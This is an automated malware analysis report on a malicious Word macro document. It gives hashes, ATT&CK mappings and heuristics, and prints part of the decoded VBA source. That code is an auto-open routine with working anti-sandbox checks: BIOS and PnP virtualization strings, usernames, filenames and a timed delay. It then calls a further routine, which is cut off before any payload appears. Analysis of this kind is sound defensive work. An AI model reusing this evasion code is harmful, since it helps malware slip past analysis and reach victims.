Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 aaa2df6aae8934a5…

MALICIOUS

Office (OOXML)

30.3 KB Created: 2021-06-08 16:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: 65094a0ca6c55cec2e32ad2900826870 SHA-1: 8564a15b78e1e1a2348fbe402dd25b8c02a74953 SHA-256: aaa2df6aae8934a50db99bb0b525bed5ef4b84a154924bdd7774c86be8e79f9b
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This OOXML document contains an obfuscated VBA macro that executes upon opening, indicated by the AutoOpen and Main subroutines. The macro performs several anti-analysis checks, such as verifying the number of recent documents, tasks, and BIOS strings for virtualization indicators, before proceeding with execution. The use of Shell() and GetObject calls suggests it attempts to download and execute a second-stage payload.

Heuristics 7

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 29136 bytes
SHA-256: 6bca845ce0202ac6c4dde39c6dcae1f3ada70677310adacf869abbc4f4e3cd6e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    On Error Resume Next
    A = checkRecentDocs()
    B = checkNbrOfTask()
    C = checkBios()
    D = checkPnP()
    E = checkUsername()
    F = checkFilenameHash()
    G = checkFilenameBad()
    H = checkPreciseFileName()
    i = checkAppCount()
    J = A And B And C And D And E And F And G And H And i
    If J = True Then
        WaitMinutes (5)
        rev
    End If
End Sub


Sub Wait1Minute()
    For i = 0 To 1100000
        DoEvents
    Next i
End Sub


Sub WaitMinutes(ByVal n As Long)
    For i = 0 To n
        Wait1Minute
    Next i
End Sub


Public Function checkRecentDocs()
    If Application.RecentFiles.Count < 3 Then
        checkRecentDocs = False
    Else
        checkRecentDocs = True
    End If
End Function


Public Function checkNbrOfTask()
    If Application.Tasks.Count < 3 Then
        checkNbrOfTask = False
    Else
        checkNbrOfTask = True
    End If
End Function


Public Function checkBios()
    badBios = False
    badBiosNames = Array("virtualbox", "vmware", "kvm")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Bios", , 48)
    For Each objItem In colItems
        For Each badName In badBiosNames
            If InStr(LCase(objItem.SMBIOSBIOSVersion), badName) > 0 Then
                badBios = True
            End If
            If InStr(LCase(objItem.SerialNumber), badName) > 0 Then
                badBios = True
            End If
        Next
    Next
    If badBios Then
        checkBios = False
    Else
        checkBios = True
    End If
End Function


Public Function checkPnP()
    badPNP = False
    badPNPNames = Array("VEN_80EE", "VEN_15AD")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_PnPEntity", , 48)
    For Each objItem In colItems
        For Each badName In badPNPNames
            If InStr(LCase(objItem.DeviceId), badName) > 0 Then
                badPNP = True
            End If
        Next
    Next
    If badPNP Then
        checkPnP = False
    Else
        checkPnP = True
    End If
End Function


Public Function checkUsername()
    badUsername = False
    badUsernames = Array("admin", "malfind", "sandbox", "test")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
    For Each objItem In colItems
        For Each badName In badUsernames
            If InStr(LCase(objItem.UserName), badName) > 0 Then
                badUsername = True
            End If
        Next
    Next
    If badUsername Then
        checkUsername = False
    Else
        checkUsername = True
    End If
End Function


Public Function checkFilenameHash()
    hexchars = "0123456789abcdef"
    C = 0
    For i = 1 To Len(ThisDocument.Name)
        s = Mid(LCase(ThisDocument.Name), i, 1)
        If InStr(s, hexchars) > 0 Then
            C = C + 1
        End If
    Next
    If C >= (Len(ThisDocument.Name) - 5) Then
        checkFilenameHash = False
    Else
        checkFilenameHash = True
    End If
End Function


Public Function checkFilenameBad()
    badName = False
    badNames = Array("malware", "myapp", "sample", ".bin", "mlwr_", "Desktop")
    For Each n In badNames
        If InStr(LCase(ActiveDocument.FullName), n) > 0 Then
            badName = True
        End If
    Next
    If badName Then
        checkFilenameBad = False
    Else
        checkFilenameBad = True
    End If
End Function


Public Function checkPreciseFileName() As Boolean
    If ActiveDocument.Name = "MyDocu
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 54784 bytes
SHA-256: cf3b9f047758e68822d8b33865a224d039d637547eca79f1099044434838d1a1
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: 8641eb63cebb4a0a6430b3bae269eb62c49245dfaedce37c2b1356d013a7dfa6

Open this report in the interactive analyzer, or submit your own file for analysis.